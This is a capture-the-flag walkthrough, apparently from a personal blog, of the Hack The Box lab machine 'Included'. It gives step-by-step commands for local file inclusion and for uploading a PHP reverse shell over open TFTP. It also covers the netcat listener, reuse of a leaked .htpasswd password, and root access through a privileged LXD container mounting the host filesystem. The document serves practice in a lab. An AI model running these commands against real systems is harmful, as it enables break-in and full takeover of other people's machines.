top of page
Search

Included (VIP only)

  • Admin
  • May 1, 2022
  • 3 min read

Enumeration


As usual, let's start with nmap:

nmap -sV -sC 10.129.166.191
ree

Let's also do an udp scan too using:

sudo nmap -sU 10.129.166.191
ree

Enter your password

udp scans takes a lot longer than the usual tcp scans, be patient. Also, udp scans require to use sudo
ree

Note that port 69 udp is open, which is associated with tftp.


Port 80 is open, so let's check the website by going to : http://10.129.166.191

ree

Even though I typed http://10.129.166.191, I got redirected to http://10.129.166.191/?file=home.php


This looks like file inclusion, explaining the name of the machine "included"


Let's try it. Let's see if we can access the file /etc/passwd using http://10.129.166.191/?file=/etc/passwd

ree

Great!


Using curl, we can have a nicer display of users

curl http://10.129.166.191/?file=/etc/passwd
ree

What is the /etc/passwd file?

  • The /etc/passwd file keeps track of all the registered users on the system. It is a colon-separated file ( : )

  • It contains, in this order, user name, encrypted password, UID, GID, user home directory, login shell

  • The file /etc/passwd is owned by the root user but must be readable by all users. Only root can write this file.

  • Then encrypted passwords are stored in /etc/security/passwd file



Earlier, we found from the udp scan that udp port 69/udp is open, which is associated with tftp


Let's install tftp first using:

sudo apt install tftp

Once installed, type:

tftp 10.129.166.191
By default TFTP works without the need for authentication, meaning that anyone can upload and download files from the remote system!
ree


Foothold


Open a new command prompt window and type:

locate webshells
ree

cd /usr/share/webshells/php
ree

ls
ree

We are interested in php-reverse-shell.php. Let's make a copy first, called shell.php

sudo cp php-reverse-shell.php shell.php
ls
ree

Let's now move shell.php to our home directory

sudo mv shell.php /home/htb-sneakymouse/
Your home directory will be different
ree

Now open a new command prompt window and type:

ls
ree

We can see shell.php is now here in our home directory


Now let's edit this shell.php file using:

sudo nano shell.php

Scroll down until you see:

ree

We need to change the $ip to the IP of our VM

if you don't know the IP of your VM, open a new command prompt window and type ifconfig

We need to change the $port to 4444 (this is because we will set up our netcat listener on port 4444)

ree

When done, use:

Ctrl X

Press Y

Press enter


Now that we have shell.php ready, we need to upload it to the target using tftp. Go back to your tftp session and type:

put shell.php
Make sure you are in your home directory for the command above, as we will now upload shell.php
ree

Now that we have uploaded our file we can just quit:

quit
ree

Now let's open a new command prompt window and set up our netcat listener on port 4444

nc -lnvp 4444
ree

Now go the url http://10.129.166.191/?file=/var/lib/tftpboot/shell.php

ree

Nothing happens but this is triggering the shell.php file on the target machine. Now go back to your netcat and you should have a connection:

ree

We got the shell! Let's upgrade the shell using:

python3 -c 'import pty;pty.spawn("/bin/bash")'
ree

ls
whoami
ree

cd home
ls
ree

cd mike
ls
cat user.txt
ree

We are www-data and we are not allowed to read user.txt in mike directory



Lateral movement


Let's look for some credentials in:

cd var/www/html
ree

ls -al
ree

.htpasswd is where we store the password for the website

cat .htpasswd
ree

We got the password! Maybe mike is using the same password to access the system

Sheffield19


su mike
ree

When prompted for the password, type:

Sheffield19

ree

We got in and we are now Mike

id
ree

cd /home
ls
cd mike
ls
cat user.txt
ree

Congratulations! You got the user flag!


a56ef91d70cfbf2cdb8f454c006935a1



Privilege escalation

sudo -l
ree

mike was not granted sudo right on the machine


id
ree

Let's google lxd and lxd privilege escalation. We find that we can escalate our privileges using lxd. With lxd, we can run system containers. system containers are like a full OS, almost like a VM.


From you VM, open a new command prompt window and follow the steps below:

sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools

--> this installs the Go programming languages along with some other required packages


git clone https://github.com/lxc/distrobuilder
ree

--> this downloads a copy of distrobuilder. We need distrobuilder to create container images for lxd

cd distrobuilder
ree

make
ree

--> distrobuilder has been built successfully!



Create a new directory called ContainerImages and a directory inside it called alpine using:

mkdir ContainerImages
cd ContainerImages
mkdir alpine
cd alpine
ree

Let's also download the alpine.yaml file using:

wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
ree

ls
ree

Let's now build it:

sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8

when done you should have something like this

ree

ls
ree

we now have lxd.tar.xz and rootfs.squashfs


Let's create a web service on port 8000 on our VM using:

python3 -m http.server 8000
ree

Now let's switch back to the shell on the target.

Type:

cd /tmp
ree

wget http://10.10.14.82:8000/rootfs.squashfs
ree

--> this go retrieve the rootfs.squashfs from the webserver we just created on our VM and download the file to the target machine

wget http://10.10.14.82:8000/lxd.tar.xz
ree

--> this go retrieve the lxd.tar.xz from the webserver we just created on our VM and download the file to the target machine

ls
ree

Now the files are on the target machine!


lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
ree

--> this import the image and call it with the alias alpine

lxc image list
ree

--> we use this command to make sure the image has been imported properly


lxc init alpine privesc -c security.privileged=true
ree

lxc list
ree

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
ree

lxc start privesc
ree

lxc exec privesc /bin/sh
ree

We got a shell! not the prettiest shell but that will do!


cd /mnt/root/root
ree

cat root.txt
ree

Congratulations! You got the root flag!


cc693d9c7499d9f572ee375d4c14c7bcfca



 
 
 

Recent Posts

See All

Comments

Rated 0 out of 5 stars.
No ratings yet

Add a rating

©2025 by My Tech On IT

bottom of page